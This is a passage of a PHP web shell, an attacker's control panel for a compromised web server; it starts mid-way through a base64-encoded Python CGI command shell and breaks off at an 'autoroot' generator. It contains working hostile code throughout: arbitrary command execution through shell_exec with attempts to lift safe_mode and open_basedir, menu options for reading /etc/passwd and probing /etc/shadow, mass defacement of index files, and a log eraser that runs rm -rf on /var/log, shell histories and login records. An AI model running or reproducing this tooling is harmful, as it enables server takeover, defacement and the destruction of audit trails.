IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';

$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
    chmod("python.izo",0755);
   echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
 /////////////////////////////////////////////////////////////////////
 elseif(isset($_GET['x']) && ($_GET['x'] == 'tools')){
?>
<br><center><b class="cont" align="center">
<a href="?&x=dump">Database dump</a><br><br>
<a href="?&x=config">Config</a><br><br>
<a href="?&x=symlink">Symlink</a><br><br>
<a href="?&x=whmcs">Whmcs Decoder</a><br><br>
<a href="?&x=sql">Mysql</a><br><br>
<a href="?&x=mail">Mailer</a><br><br>
<a href="?&x=port-sc">Port Scan</a><br><br>
<a href="?&x=domain">Domain</a><br><br>
<a href="?&x=python">Python portable</a><br><br></center>


<?php
}
 
 
 
//////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sesc')){
?>
<br><center><b class="cont" align="center">
<a href="?&x=bypass">Command Bypass Exploit</a><br><br>
<a href="?&x=tespr">Test Permission</a><br><br>
<a href="?&x=phpinfo">Php info</a><br><br>
<a href="?&x=whois">Whois</a><br><br>
<a href="?&x=srvrinformations">Server Infos</a><br><br></center>
</b>

<?php
}


/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'srvrinformations'))
{
echo '<center><b class="conte">
<a href="?&x=bypass">Bypass Server Functions</a> -
<a href="?&x=tespr">Test Permission</a> -
<a href="?&x=srvrinformations">Server Informations</a>  </center>
</b>';
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Server Security Informations</span><center><br>";
echo "<center><div class='tmpe'>
<table align='center' width='50%'><td><font color='#007700'>Kernel Version</font></td><td>";echo php_uname();
echo "<tr><td><font color='#007700'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
echo "<tr><td><font color='#007700'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
echo "<tr><td><font color='#007700'>Current User</font></td><td>";echo get_current_user();
echo "<tr><td><font color='#007700'>User ID</font></td><td>";echo getmyuid();
echo "<tr><td><font color='#007700'>Group</font></td><td>";echo getmygid();
echo "<tr><td><font color='#007700'>Cwd </font></td><td>";echo getcwd();
echo "<tr><td><font color='#007700'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
echo "<tr><td><font color='#007700'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
echo "<tr><td><font color='#007700'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "<tr><td><font color='#007700'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
echo "<tr><td><font color='#007700'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':'No';
echo "<tr><td><font color='#007700'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable <a href='?action=moco'> [View]</a>":"Not Readable";
echo "<tr><td><font color='#007700'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"Not Readable";
$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='#007700'>secure</font>":"OFF <font color='#007700'>not secure</font>";
echo "<tr><td><font color='#007700'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
echo "</table></div></center><br>";
}

elseif(isset($_GET['x']) && ($_GET['x'] == 'tespr'))
{
echo '<center><b class="conte">
<a href="?&x=bypass">Bypass Server Functions</a> -
<a href="?&x=tespr">Test Permission</a> -
<a href="?&x=srvrinformations">Server Informations</a>  </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Test Permission</span><center><br>';

echo '<center><table style="border:1px solid #007700;">';
echo '<tr>';
if(ini_get('id') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('gunzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('pwd') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ln') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ls') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('chmod') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('uname') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('rm') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('su') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}

if(ini_get('tail') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('Ptouch') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('who') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('gcc') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('tar') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('du') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('dir') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('wget') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('date') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';

if(ini_get('gzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('sh') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr>';
echo '</table></center>';

}
//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#FF0000>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
	</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'></textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}


/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">
<a href="?&x=bypass">Bypass Server Functions</a> -
<a href="?&x=tespr">Test Permission</a> -
<a href="?&x=srvrinformations">Server Informations</a>  </center>
<?php
echo "<center/><br/><b><font color=#FF0000>-=[ Command  Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#FF0000><b><font color="#FF0000">Command  :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#FF0000">Menu Bypass  :=)  </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="G&ouml;">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]); 
$liz0zim=shell_exec($_POST[liz0]); 
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";

echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
 "</div>"; }
 
////////////////////////////////////////////////
////////////////////////////////////////////////
##     DELITE LOGS FROM (C) ANONGHOST         ##
////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'deltlogss')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=deltlogss" method="post">

<?php
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
//exec function madafuck !
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";      
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");

//shell_exec function madafuck !
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");

//passthru function madafuck !
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");


//Let the Mother of Functions To Complete The Task wkwkwkw xD!
system("rm -rf /tmp/logs");
sleep(2);
echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
sleep(2);

system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/log");
sleep(2);
echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>'; 

system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

sleep(4);

echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
echo"</td></tr></table>";

}

////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'w00ts')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=w00ts" method="post">

<?php
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By D4rkj1n</span><center><br>';
echo"<p align='center'> <img border='0' src='http://www14.0zz0.com/2015/03/06/20/654342123.png'></p><br>";
echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';


@error_reporting(0);

sleep(2);

echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
//generate autoroot script perl
mkdir('lulZ',0755);
